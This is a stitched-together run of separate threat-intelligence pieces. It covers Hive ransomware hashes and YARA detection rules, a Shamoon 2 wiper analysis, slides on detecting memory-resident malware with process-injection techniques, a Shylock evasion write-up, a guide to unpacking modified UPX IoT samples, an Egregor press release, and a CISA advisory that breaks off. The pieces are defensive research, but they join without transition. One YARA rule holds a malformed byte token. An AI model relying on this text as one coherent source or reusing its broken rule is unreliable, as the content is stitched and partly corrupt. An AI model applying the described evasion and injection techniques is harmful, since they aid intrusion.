25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5 **Hive v3** - 8a461e66ae8a53ffe98d1e2e1dc52d015c11d67bd9ed09eb4be2124efd73ccd5 **Hive v3 Linux/FreeBSD** - 12389b8af28307fd09fe080fd89802b4e616ed4c961f464f95fdb4b3f0aaf185 (Linux) - bdf3d5f4f1b7c90dfc526340e917da9e188f04238e772049b2a97b4f88f711e3 (FreeBSD) **Hive v3 ESXI** - 822d89e7917d41a90f5f65bee75cad31fe13995e43f47ea9ea536862884efc25 **Hive v4** - 33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277 **Hive v5.2** - b6b1ea26464c92c3d25956815c301caf6fa0da9723a2ef847e2bb9cd11563d8b ### Yara Rules ```yara rule hive_v1_32_win { strings: $1 = {648b0d140000008b89000000003b61080f86e401000083ec40e8?2f?feff8b04248b4c240485c90f8556010000b94100000031d231db8d2d?4??6300eb0341d1e883f95a0f8f29010000a90100000074ed895c2434896c243c894c242489542430894424288d44242c} condition: $1 and uint16(0) == 0x5A4D } rule hive_v1_64_win { strings: $1 = { 65 4? 8b 0c ?5 28 00 00 00 4? 8b 89 00 00 00 00 4? 3b 61 10 0f 86 ?? ?? ?? ?? 4? 83 ec 40 4? 89 6c ?4 38 4? 8d 6c ?4 38 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 08 4? 8b 4c ?4 10 4? 83 7c ?4 08 00 0f 85 ?? ?? ?? ?? 4? 89 44 ?4 20 4? 89 4c ?4 18 4? 8b 44 ?4 48 4? 89 04 ?4 90 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 0f 1f 40 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 0f 1f 40 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 0f 1f 40 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 48 80 78 48 00 74 ?? 90 0f 57 c0 0f 11 44 ?4 28 4? 8d 05 ?? ?? ?? ?? 4? 89 ?? ?4 28 4? 8d 05 ?? ?? ?? ?? 4? 89 ?? ?4 30 4? 8d 44 ?4 28 4? 89 04 ?4 4? c7 44 ?4 08 01 00 00 00 4? c7 44 ?4 10 01 00 00 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 4? 89 44 ?4 50 4? 8b 44 ?4 18 4? 89 44 ?4 58 4? 8b 6c ?4 38 4? 83 c4 40 c3 4? 89 04 ?4 e8 ?? ?? ?? ?? eb ?? 4? 89 44 ?4 50 4? 89 4c ?4 58 4? 8b 6c ?4 38 4? 83 c4 40 c3 } condition: $1 and uint16(0) == 0x5A4D } rule hive_v2_v3_32_win { strings: $1 = { 64 8b 0d 14 00 00 00 8b 89 00 00 00 00 3b 61 08 0f 86 ?? ?? ?? ?? 83 ec ?? c7 44 ?4 04 ?? ?? ?? ?? c7 04 ?4 ?? ?? ?? ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b 04 ?4 8b 4c ?4 04 c7 44 ?4 4c 00 00 00 00 c7 44 ?4 50 00 00 00 00 89 04 ?4 89 4c ?4 04 e8 ?? ?? ?? ?? 8b 44 ?4 08 8d 0d ?? ?? ?? ?? 89 4c ?4 4c 89 44 ?4 50 8d 44 ?4 4c 89 04 ?4 c7 44 ?4 04 01 00 00 00 c7 44 ?4 08 01 00 00 00 e8 ?? ?? ?? ?? 8b 44 ?4 68 89 04 ?4 e8 ?? ?? ?? ?? 8b 44 ?4 04 89 44 ?4 48 8b 4c ?4 08 89 4c ?4 38 31 d2 eb ?? } condition: $1 and uint16(0) == 0x5A4D } rule hive_v2_64_win { strings: $1 = { 65 4? 8b 0c ?5 28 00 00 00 4? 8b 89 00 00 00 00 4? 3b 61 10 0f 86 ?? ?? ?? ?? 4? 81 ec ?? ?? ?? ?? 4? 89 ac ?? ?? ?? ?? ?? 4? 8d ac ?? ?? ?? ?? ?? 4? 8b 44 ?4 48 4? 89 04 ?4 e8 ?? ?? ?? ?? 4? 8b 44 ?4 08 4? 8b 4c ?4 10 4? 80 f57c 00 0f 11 44 ?4 28 4? 8d 05 ?? ?? ?? ?? 4? 89 ?? ?4 28 4? 8d 05 ?? ?? ?? ?? 4? 89 ?? ?4 30 4? 8d 44 ?4 28 4? 89 04 ?4 4? c7 44 ?4 08 01 00 00 00 4? c7 44 ?4 10 01 00 00 00 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 4? 89 44 ?4 50 4? 8b 44 ?4 18 4? 89 44 ?4 58 4? 8b 6c ?4 38 4? 83 c4 40 c3 } condition: $1 and uint16(0) == 0x5A4D } rule hive_v3_v4_64_win { strings: $1 = { 4? 3b 66 10 0f 86 ?? ?? ?? ?? 4? 83 ec 30 4? 89 6c ?4 28 4? 8d 6c ?4 28 4? 89 44 ?4 20 0f 1f 00 e8 ?? ?? ?? ?? 4? 85 c0 0f 85 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 85 c0 74 ?? 4? 8b 6c ?4 28 4? 83 c4 30 c3 4? 89 44 ?4 10 4? 89 5c ?4 18 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 89 c3 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 e8 ?? ?? ?? ?? 4? 8b 44 ?4 20 90 e8 ?? ?? ?? ?? 4? 8b 44 ?4 10 4? 8b 5c ?4 18 4? 8b 6c ?4 28 4? 83 c4 30 c3 4? 8b 6c ?4 28 4? 83 c4 30 c3 } condition: $1 and uint16(0) == 0x5A4D } rule hive_v5_32_win { strings: $1 = { 5589e553575681ec440400008b75108b7d0c89d3894dc88d85b0fbffff68000400006a0050e8????????83c40c0fbec3b9abaaaaaa8b0485c0b949008945e889f0f7e1d1ea8d045229c683f60389f0f7e131c9d1ea8d04528d570229c68b45148955cc8975e48b00 } condition: $1 and uint16(0) == 0x5A4D } rule hive_v5_64_win { strings: $1 = { 4157415641554154565755534881ec880400004c89cd448844243789d648894c2450488b9c24f0040000488bbc24f8040000488d8c248800000041b80004000031d2e8??????00480fbec6488d0d??????004c8b24c148b9abaaaaaaaaaaaaaa4889d848f7e148d1ea488d04524989de4929c64983f6034c89f048f7e148d1ea488d04524929c6488b07 } condition: $1 and uint16(0) == 0x5A4D } rule hive_v3_esxi { strings: $s1 = "+ prenotify %s" $s2 = "Stopping VMs" $s3 = "(.+)\\.(.+?)\\.%s$" $s4 = "\\.(vm|vs)\\w+$" $c = { f3 0f 1e fa 55 4? 89 e5 4? 83 ec 20 4? 89 7? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 74 ?? 8b 4? ?? eb ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 74 ?? 8d 3d ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b 4? ?? eb ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? 4? 8b 4? ?? 4? 89 c7 e8 ?? ?? ?? ?? b8 00 00 00 00 c9 c3 } condition: (all of ($s*) or $c) and uint32(0) == 0x464C457F } ``` Yoroi S.r.l. www.yoroi.company - [email protected] Piazza Sallustio, 9 00187 – Roma (RM) +39 (051) 0301005 Yoroi S.r.l. ® 2014-2021 – Tutti i diritti riservati Yoroi S.r.l. società soggetta ad attività di direzione e coordinamento esercitata dalla Tinexta S.p.A. Yoroi ® è un marchio registrato Registrazione N°: 016792947
# Second Wave of Shamoon 2 Attacks Identified In November 2016, we observed the reemergence of destructive attacks associated with the 2012 Shamoon attack campaign. We covered this attack in detail in our blog titled *Shamoon 2: Return of the Disttrack Wiper*, which targeted a single organization in Saudi Arabia and was set to wipe systems on November 17, 2016. Since our previous publication, we have found another, similar but different payload used to target a second organization in Saudi Arabia that was configured to wipe systems twelve days later on November 29, 2016. This latest attack potentially materially impacts one of the primary countermeasures employed against wiper attacks: Virtual Desktop Interface snapshots. The payload used in this attack was very similar to the November 17, 2016 payload but exhibited slightly different behaviors and contained hardcoded account credentials specific to the newly targeted organization. The hardcoded account credentials met Windows password complexity requirements, which suggests that the threat actors obtained the credentials through a previous, separate attack, similar to the November 17, 2016 attack. The most notable thing about this latest sample is that it contains several usernames and passwords from official Huawei documentation related to their virtual desktop infrastructure (VDI) solutions, such as FusionCloud. VDI solutions can provide some protection against destructive malware like Disttrack through the ability to load snapshots of wiped systems. The fact that the Shamoon attackers had these usernames and passwords may suggest that they intended on gaining access to these technologies at the targeted organization to increase the impact of their destructive attack. If true, this is a major development, and organizations should consider adding additional safeguards in protecting the credentials related to their VDI deployment. At this time, we have no details of the attack we believe preceded this Shamoon attack to obtain credentials. We also have no details on the delivery method used to deliver the new, similar, but different Disttrack payload in this attack. ## The Second Shamoon 2 Attack This second known attack associated with Shamoon 2 also used the Disttrack payload, albeit a new, similar but different one from the original Shamoon 2 attack. Specifically, it used a 64-bit variant that was configured to begin its destructive activities on November 29, 2016. Like the Disttrack sample used in the first reported Shamoon 2 attack, it included a wiper and communications module stored in resources within the executable. **Component Resource Offset Size Base64 key** Wiper LANG 94399-14 = 94385 563712 OWRKbTxrleYfLm… Communications MENU 218709-14 = 218695 187904 QsCfQA6ze9CoOz… Unknown ICO Unknown Unknown ijX7buB1FIjSn/0D… Our efforts to decrypt the “ICO” resource have thus far been unsuccessful as the Disttrack payload has an associated key but does not contain code that decrypts and extracts this resource. ## Propagation Inside Compromised Networks Similar to the previous attack, the Disttrack payload in this attack spreads to other systems on the local network (/24 network specifically) by logging in using legitimate domain account credentials, copying itself to the system, and creating a scheduled task that executes the copied payload. While this method is the same as discussed in our previous blog, the account credentials used in this attack were specific to the targeted organization, and the file names used when copying the payload to remote systems were different. ### Legitimate User Accounts There were 16 account credentials found hardcoded within the Disttrack payload, appearing to be a mixture of individual user accounts and broader administrator accounts. All but one of the passwords met Windows complexity requirements, specifically, containing uppercase and lowercase characters, and either a number, symbol, or both. One of the general administrator accounts seen in this payload was also in the Disttrack payload in the first Shamoon 2 attack from November 17, 2016, which may not be specific to the targeted organization and instead used as an attempt to guess the login credentials. Based upon the existence of these credentials, it is highly likely the threat actors had carried out a previous attack to obtain these account credentials, as it is unlikely that these passwords were guessed or brute-forced. As noted earlier, a new development with this latest Disttrack payload is that several of the usernames and passwords are found within official documentation as administrator accounts for Huawei’s virtualized desktop infrastructure (VDI) products, such as FusionCloud. This may suggest that the targeted organization used these credentials when deploying Huawei VDI systems. Shamoon actors may have obtained these credentials from a prior attack; however, it is also possible that the actors included these default usernames and passwords as an attempt to guess the login credentials to the VDI infrastructure. VDI solutions can provide some protection against destructive malware like Disttrack through the ability to load snapshots of wiped systems. Also, since FusionCloud systems run a Linux operating system, which would not be susceptible to wiping by the Windows-only Disttrack malware, this could be seen as a reasonable countermeasure against attacks like Shamoon. However, if the attacker was able to log into the VDI management interfaces using the account credentials, they could manually carry out destructive activities against the VDI deployment, as well as any snapshots. The targeting of VDI solutions with legitimate, stolen, or default credentials represents an escalation in tactics that administrators should be aware of and take immediate steps to evaluate and address. ## New Disttrack Names The filenames that the payload copies itself to within the System32 folder of the remote system differ from the previously reported attack, specifically using “ntertmgr32.exe” for 32-bit or “ntertmgr64.exe” for 64-bit systems. The scheduled task executes these files on the remote system, which results in the creation of a Disttrack service named “NtertSrv” compared to the service name “ntssrv” created by the Disttrack payload used in the November 17, 2016 attacks. ## Command and Control The communications module used in this attack is rather hobbled, as it was configured without an operational command and control (C2) server to communicate with. The lack of an operational C2 is much like the November 17, 2016 attack that had the IP address “1.1.1.1” within its configuration to use as a C2 server. Unlike the non-operational C2 of “1.1.1.1” used in the first Shamoon 2 attack, this communications module completely lacked any IP address or domain name for a C2 server within its configuration. Also, in this sample, Disttrack did not save its communications module to the system using the filename “netinit.exe” like in the original attack; rather, it chose a random name from the following list: - caiaw00e.exe - sbuvideo.exe - caiaw00i.exe - olvume.exe - usinwb2.exe - briaw005.exe - fpwwlwf.exe - epiaw003.exe - briaw002.exe - olvsnap.exe - dmwaudio.exe - briaw006.exe - miWApRpl.exe - caiaw00b.exe - lxiaw003.exe Lastly, the communications module also uses different file names than the original Shamoon 2 attack. Instead of setting a custom “kill time” in a file named “usbvideo324.pnf” within the “%WINDOWS%\inf” folder, it uses a file name of “dcT21x400i.pnf”. It also would send the C2 server the contents of a file named “vsfnp7_6.pnf” from the folder “%WINDOWS%\inf” instead of “netimm173.pnf”. ## Destruction Much like the initial attacks, the lack of an operational C2 server suggests that the threat actor’s sole intention for carrying out this Shamoon 2 attack was to destroy data and systems. Without an operational C2, the actor would be unable to issue a command to set a custom “kill time” when the Disttrack payload would begin wiping systems, which would force the payload to rely on its hardcoded “kill time”. The hardcoded date suggests that this attack was set to begin wiping systems on November 29, 2016, at 1:30 AM local Saudi Arabia time. Unlike the previous Shamoon attacks that occurred on a holiday and over a weekend, this kill time occurred during the work week, as November 29, 2016, was a Tuesday. However, it appears this attack attempted to maximize its impact by occurring very early in the morning before the majority of the organization’s staff were on site. This aligns with the Shamoon actors conducting their attacks off-hours to increase the efficacy of the attack by increasing the timeframe of detection and response. When Disttrack observes the system clock exceeding the “kill time”, it will save its wiper component to the system using one of the following randomly chosen filenames: - pdwmtphw.exe - caiaw00a.exe - sdwprint.exe - caiaw00d.exe - kyiaw002.exe - sdwscdrv.exe - briaw00a.exe - saiaw002.exe - _mvscdsc.exe - hdvmp32.exe - _s3wcap32.exe - hpiaw001.exe - lxiaw004.exe - cniaw001.exe - lxiaw006.exe - caiaw00f.exe - newtvsc.exe When executed, the wiper component will extract a kernel driver from its resource section and decrypt it with a 172-byte XOR key. The wiper saves the kernel driver (SHA256: 5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a) to the “Windows\System32\Drivers” folder in a file named “vdsk911.sys”. The wiper then uses this file to create a kernel driver service named “vdsk911”. The kernel driver is the 64-bit version of the commercial RawDisk driver by EldoS Corporation, which is the exact same file as the “drdisk.sys” driver extracted from the Disttrack 64-bit payload in the ‘X509’ resource in the first reported Shamoon 2 attack. The Disttrack payload will use this kernel driver to access the master boot record (MBR), partition tables, and files and folders on the system to overwrite them with the same image of the deceased Syrian boy as in the previous Shamoon 2 attack. During our analysis, we again observed the wiper setting the system time to a random date between August 1 and August 20, 2012. As mentioned in our previous blog, the reason the wiper sets the system time to this random date in August 2012 is due to a temporary license key needed to use the RawDisk kernel driver. The temporary license key used in this attack is the exact same as the first attack. After the MBR, partition tables, and files are overwritten, the wiper issues the command of “shutdown -r -f -t 2” to reboot the system, which is the same command as used in the first Shamoon 2 attack. The purpose of rebooting the system remains the same, as the portions of the hard disk and filesystem needed to successfully boot the system were overwritten with a JPEG image, the system is no longer able to start up. ## Conclusion We analyzed a second Disttrack payload associated with Shamoon 2, which suggests that the threat actors targeted a second Saudi Arabian organization in this attack campaign. The actors used the Disttrack payload to spread to other systems on the local network using legitimate credentials. The legitimate credentials were specific to the targeted organization and were complex enough to suggest that the threat actors carried out a previous attack to obtain the credentials. Also, the actors hardcoded credentials found in Huawei’s official documentation for its VDI solutions, suggesting that the threat actors may have had access to appliances hosting the infrastructure. The Disttrack wiper was set to begin overwriting systems on November 29, 2016, at 1:30 AM, which aligns with the Shamoon actor’s tactic to maximize its impact by attacking at a time when the targeted organization would have less staff and resources available onsite.
# Mem2Img: Memory-Resident Malware Detection via Convolution Neural Network ## Recent Injection Technique used by APT ### UUID Shellcode - `UUidFromStrinA` takes a string-based UUID and converts it to its binary representation. It takes a pointer to a UUID, which will be used to return the converted binary data. - By providing a pointer to a heap address, this function can be (ab)used to both decode data and write it to memory without using common functions such as `memcpy` or `WriteProcessMemory`. - Then use the callback function `EnumWindows` to execute shellcode. This VBA script was used by Lazarus. - The `lpLocaleEnumProc` parameter specifies a callback function! By providing the address returned by `HeapAlloc`, this function can be (ab)used to execute shellcode. There are many callback functions that can be used to execute shellcode. This case was used in a PE file. ### Phantom DLL Hollowing - The target DLL is chosen based on the size of its .text section to house the reflective payload, and then it could execute the binary within a +RX section in that DLL. We have found APT27 used this technique to spread CobaltStrike Beacon. ### Shellcode Injection - Waterbear - Generate random junk bytes to envelop real shellcode when decoding. - Using `beginthreadex()` acts as a proxy and starts the new thread at `threadstartex()`, instead of using the address where the shellcode is located as if using `CreateThread()` directly. ## Dataset Overview Memory Resident malware used by APT: - APT32 (OceanLotus) - Denis backdoor - APT37 – Rokrat RAT - Tropic Trooper - TClient backdoor - BlackTech (PLEAD) – TSCookie, Capgeld, Waterbear, Kivars - APT10 – Sodamaster, Lodeinfo, P8RAT, CobaltStrike - Mustang Panda – PlugX - PhantomIvy - APT27 – Sysupdate, Hyperbro, CobaltStrike - Winnti - CobaltStrike, ShadowPad - Darkseoul – Dtrack - Unknown group – Dropsocks, Dpass ### Cyber Crime Memory-resident Malware - Emotet - Formbook - Dridex - AgentTesla - Trickbot - QuasarRAT (also used in APT) ## How to find memory-resident malware ### Tool - pe-sieve (hollows_hunter) - volatility (malfind) - Hollowfind ### Data source - Victim’s PC - Triage - VirusTotal ## How to deal with Data Imbalance issue - Use class weights: `class_weights={"class_1": 1, "class_2": 10}` - SMOTE - Data augmentation: Rotate, Flip, Scale - Transfer learning: VGG16, InceptionV3 ## Why Transfer Learning - Some APT Memory-resident malware is a small set of data. - Transfer learning uses knowledge from a learned task to improve the performance on a related task, typically reducing the amount of required training data. They allow models to make predictions for a new domain or task (target domain) using knowledge learned from another dataset or existing machine learning models (source domain). ## Mem2Img Framework ### Preprocessing Data - Remove continuous bytes (junk bytes) in the binary, e.g., NULL bytes, 0xFF. - Convert 1D array to 2D array: `Image width = height = sqrt(len(1D array)) + 1`. ### Memory-resident PE or Shellcode - Convert to grayscale image. - Count Shannon entropy bytes to bytes. ### Local Binary Pattern (LBP) - If P = 8, R = 1. ### Data Augmentation - Original, Flip, Rotate, Scale. ## Feature Extraction - Transfer Learning: VGG16, InceptionV3. - Local Binary Pattern. ## CNN Architecture - Input: 224*224*3. - Various convolutional and pooling layers. ## Training Parameter - Training: Testing: 5:1. - 30 class classification. - 12569 memory blocks image (after data augmentation). - CNN: activation function: ReLU, Batch normalization, Learning rate decay, Training epochs: 32. ## Model Performance | Model | Accuracy | Precision | Recall | F1 Score | |------------|----------|-----------|--------|----------| | Mem2Img | 98.36% | 98.51% | 98.36% | 98.38% | | Different CNN | 96.5% | 97.09% | 96.5% | 96.6% | | VGG16 | 96.73% | 97.28% | 96.7% | 96.8% | | Inception V3 | 95.8% | 96.2% | 95.8% | 95.8% | | LBP | 84.8% | 86.6% | 84.8% | 84.6% | ## Conclusion - More advanced methods of process injection have been used. - Transfer Learning has great performance on memory-resident malware classification, especially on small sets of data. - The features extracted via Convolutional Network can find out the special area of malware. - Proposed some attackable methods for Adversarial attack. Thank you! [email protected] [email protected]
# Merchant of Fraud Returns: Shylock Polymorphic Financial Malware Infections on the Rise By Amit Klein February 15, 2012 Last September, we blogged about a new polymorphic financial malware variant we had discovered. We code-named it “Shylock” because every new build bundles random excerpts from William Shakespeare’s “The Merchant of Venice” in its binary. These are designed to change the malware’s file signature to avoid detection by antivirus programs and security software. In recent weeks, we have seen a significant increase in the number of end-user machines infected with Shylock. One of this malware’s distinguishing characteristics is its ability to almost completely avoid detection by antivirus scanners after installation. Shylock uses a unique three-step process to evade scanners: ## Step 1: Financial Malware Hides in Memory Shylock injects itself into all running processes (applications) in memory. Every time a new application is initialized, Shylock suspends the application from running in memory, injects itself into the application process, and then allows the application to proceed with its normal execution. Once installed, Shylock code doesn’t run as a separate process; rather, it embeds itself within every genuine application running on a machine. This makes it very hard to detect. Moreover, even if Shylock is detected, the fact that it is embedded in multiple running applications makes it almost impossible to stop and remove from memory. ## Step 2: Watchdog Senses Scans Shylock looks for and intercepts operations related to directory browsing and enumeration of registry keys, which indicate an antivirus scanning operation is underway. Once it detects “scanning” activity, Shylock deletes its own files and registry entries, making it undetectable. It remains active only in memory. ## Step 3: Hijacks Windows’ Shutdown Entries in the operating system registry allow malware (like any application or process) to execute its files as part of the start-up processes. Once Shylock has removed its files and registry entries to avoid being detected by an antivirus scan, it cannot survive a system shutdown/reboot. Any of these actions would remove it from memory and eliminate the infection. To ensure its survival, Shylock hooks into the Windows shutdown procedure and reinstates the files and registry keys (previously removed in Step 2) just before the system is completely shut down and after all applications are closed, including antivirus applications. We have found that physically unplugging the machine’s power source (assuming it does not have an internal battery) after Shylock has deleted its files and registry entries to evade detection will clean the memory and also the Shylock infection. Needless to say, we do not recommend this as a malware-removal practice.
# How IoT Botnets Evade Detection and Analysis ## On the Hunt for Elusive Malware Malware families targeting the IoT sector share multiple similarities with their Windows-based counterparts, such as trying to evade detection by both researchers and security products. Their aim is to stay below the radar as long as possible. One key technique to stymie reverse engineering botnet code is to obfuscate the code by compressing or encrypting the executable, called packing. In this post, we explore the current status of the packers used by IoT malware, using data collected by Nozomi Networks honeypots. We’ll also dig deeper into various obstacles that researchers face when analyzing obfuscated samples and show how they can be handled. As malware targeting the IoT sector evolves, many features are being borrowed from the more well-known IT sector. ## IoT Botnet Attack Statistics Honeypots are vulnerable systems that are deliberately made available to adversaries so that information on malicious activity can be collected for research, detection, and defensive purposes. Nozomi Networks Labs runs a network of passive honeypots across various regions that emulate multiple protocols commonly abused by attackers. The data they collect is aggregated and used for research and detection efforts. Over the course of a seven-day period, Nozomi Networks honeypots collected 205 unique samples from attacks. The vast majority of the collected files are Linux executable files for 32-bit architectures. Attackers use packers to obfuscate their code, concealing the original code with the intent of evading detection and making malware analysis more difficult and time-consuming. Of the samples we collected, approximately one third were packed using multiple versions of UPX, a free and open-source packer widely used by both legitimate companies and malicious actors. UPX was the only packer used in this set of samples. At the time of the analysis, 49 of 205 samples were not present on VirusTotal, a share site for malware details and research, and thus we decided to focus on these potentially new threats. This subset of files follows a similar percentage distribution regarding the packer and the version employed. Most of the new files—almost 80%—were not packed at all, with the remainder packed with UPX. Based on initial research, one of these samples appears to belong to the same malware family that showed up in other internal Threat Intelligence research. It also stands out because of the particular UPX packing structure modifications. ## Unpacking Challenges When a sample is only packed with UPX, it is very easy to unpack with the standard UPX tool using the `-d` command line argument. Therefore, attackers will commonly modify the UPX structures of a packed sample so that it remains executable, but the standard UPX tool can no longer recognize and unpack it. Since UPX is an open-source tool, we can check its source code on GitHub to understand its structures and what fields it uses. Most IoT samples packed with UPX modify the `l_info` and `p_info` structs in the header. For example, as we have seen before with the SBIDIOT malware, it’s common for malware authors to modify the `l_magic` value of the `l_info` struct in UPX-packed samples. In this case, unpacking the sample is as trivial as replacing the modified `l_magic` value with `UPX!` and executing `upx -d`. In other cases, like the Mozi IoT malware family, the `p_info` struct is modified to set `p_filesize` and `p_blocksize` to zero. The solution then involves repairing the two zeroed values by replacing them with the filesize value that is available at the trailer of the binary. However, when we tried to unpack the samples of interest, UPX returned an unusual error. In this case, UPX is telling us that there was a problem with the `b_info` structure. After some research, we concluded that this structure doesn’t seem to be widely used by malware authors. `b_info` is a structure placed before each compressed block and contains information about its compressed and uncompressed size, along with the algorithm and parameters used to compress them. Once we checked the `b_info` structure in the file, we realized it hadn’t been zeroed or modified in an obvious way. Diving deeper into the internals of UPX, we found the exact place in the code that raises this exception. If the compressed size (`sz_cpr`) is bigger than the uncompressed size (`sz_unc`), UPX will fail. However, their values were coherent, so we discarded this modification as the source of the problem. In these lines of code, we can see that the most promising reason could be a problem with a difference between the sum of the declared size of the uncompressed sections and the declared size of the uncompressed file. In our sample, the sum of the value of `sz_unc` was bigger than the value of `p_filesize`, so we modified the appropriate `p_info` structure to set its `p_filesize` field with a value that wouldn’t trigger this exception. After changing these values, a header checksum exception was raised. Calculating this checksum value was possible since we had its source code, but it would be time-consuming, so we temporarily moved to another research path. We decided to create packed samples that were as similar as possible to the malicious sample so it would be easier to spot the differences. With the help of `upx --fileinfo`, we got the parameters needed to pack another executable with almost the same compression and decompression algorithm. To compress the sample, the attackers used a command similar to `upx --best --nrv2d <elf_file>`. As a starting point to check differences, we used the `rz-diff` tool to compare the main decompression functions. We started comparing the differences between the functions, looking for the code we were thinking the attackers added to the decompression process. An unexpected difference appeared: the malware sample packed using UPX 4.0.0. At the moment, the stable UPX version is v3.96, and version 4.0.0 is in development. The changelog doesn’t seem to contain big changes in how ELF compression works, but there are a lot of commits that affect portions of the code involved in the calculation of these values. We then checked how this new version handled the issues we were seeing by downloading the pre-release version of UPX and compiling it. After only fixing the `UPX!` strings headers (b_info and p_info structures were left untouched) and passing this executable to UPX version 4.0.0, the sample was accurately decompressed. It is possible that the attackers realized that this version of UPX (which is still in development) generates functional samples that cannot be extracted by standard production versions of UPX used by default by everyone. ## Universal Manual Unpacking Instead of digging deeper into the modifications introduced by attackers, there is another approach we can consider. The idea here is to stop the debugging process when the code and data are already unpacked but the unpacked code hasn’t been executed yet, to prevent the subsequent possible data and code modifications, and write down the unpacked code and data back to the disk. This approach is widely used to unpack Windows samples, but what about IoT threats? From a high-level perspective, the same logic can certainly be applied to them. Here are several universal techniques that allow us to circumvent packers regardless of what modifications are introduced. They generally involve relying on the steps that an unpacker has to do in order to achieve its goal, mainly: 1. The packed code and data should be read and unpacked. 2. A big memory block should be available to host the resulting unpacked sample. 3. The result of the unpacking should be written into this big memory block. 4. Depending on the existing protection flags for this block, they may need to be adjusted to make code execution possible. 5. Finally, the control should be transferred to the first instruction of the unpacked code known as the Original Entry Point (OEP). So, how can these techniques help us unpack the samples? 1. Generally, packed code and data have high entropy and can therefore be easily identified in hex editors. Finding these blocks and tracking their cross-references can help us find the decryption/decompression/decoding routine(s). 2. Keeping track of memory allocations (mmap syscall) may help us find the future virtual address of the unpacked code and data. 3. Memory or hardware breakpoint on write operation set on the allocated block will help us intercept the moment when the unpacked code and data of interest will be written there. 4. Keeping an eye on the mprotect syscall, which is commonly used to change protection flags, can help identify the moment when this will happen. 5. Looking for unusual control flow instructions can help identify the moment when the unpacker finished its job and is ready to transfer control to the first instruction of the freshly unpacked code (OEP). Following these approaches separately or in combination eventually helps intercept the moment when the unpacked code and data finally reside in memory readily available to be dumped to the disk for subsequent static analysis. In addition to these techniques, calling munmap syscall next to transferring control to the OEP is another feature of UPX that allows researchers to quickly unpack such samples. They can simply intercept it and then follow the execution flow. ## Conclusions The landscape of malware targeting the IoT sector keeps evolving and borrowing many features from the more well-known IT sector. Staying up-to-date with the latest trends in this area and being able to handle them helps the security community combat new threats more efficiently and reduces the potential impact of associated cyberattacks.
# Appgate Labs Analyzes New Family of Ransomware—“Egregor” MIAMI, FL – October 2, 2020 – This week our team analyzed a new family of ransomware that calls itself "Egregor", which seems to be a Sekhmet ransomware spin-off. The threat group behind this malware seems to operate by hacking into companies, stealing sensitive data, and then running Egregor to encrypt all the files. According to the ransom note, if the ransom is not paid by the company within 3 days, and aside from leaking part of the stolen data, they will distribute via mass media where the company's partners and clients will know that the company was attacked. The sample we analyzed has many anti-analysis techniques in place, such as code obfuscation and packed payloads. Also, in one of the execution stages, the Egregor payload can only be decrypted if the correct key is provided in the process' command line, which means that the file cannot be analyzed, either manually or using a sandbox, if the exact same command line that the attackers used to run the ransomware isn't provided. Furthermore, our team found the "Egregor news" website, hosted on the deep web, which the criminal group uses to leak stolen data. At the time of this advisory, there are at least 13 different companies listed in their "hall of shame", including the global logistic company GEFCO, which suffered a cyber attack last week. Egregor's ransom note also says that aside from decrypting all the files in the event the company pays the ransom, they will also provide recommendations for securing the company's network, "helping" them to avoid being breached again, acting as some sort of black hat pentest team. ## About Appgate Appgate is the secure access company that provides cybersecurity solutions for people, devices, and systems based on the principles of Zero Trust security. Appgate updates IT systems to combat the cyber threats of today and tomorrow. Through a set of differentiated cloud and hybrid security products, Appgate enables enterprises to easily and effectively shield against cyber threats. Appgate protects more than 1,000 organizations across government and business. Learn more at appgate.com. ## Press Contact: Robert Nachbar ZAG Communications 206-427-0389 [email protected]
# Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization ## Summary ### Actions to Help Protect Against APT Cyber Activity: - Enforce multifactor authentication (MFA) on all user accounts. - Implement network segmentation to separate network segments based on role and functionality. - Update software, including operating systems, applications, and firmware, on network assets. - Audit account usage. From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data. This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks. ## Technical Details ### Threat Actor Activity CISA conducted an incident response engagement on a DIB Sector 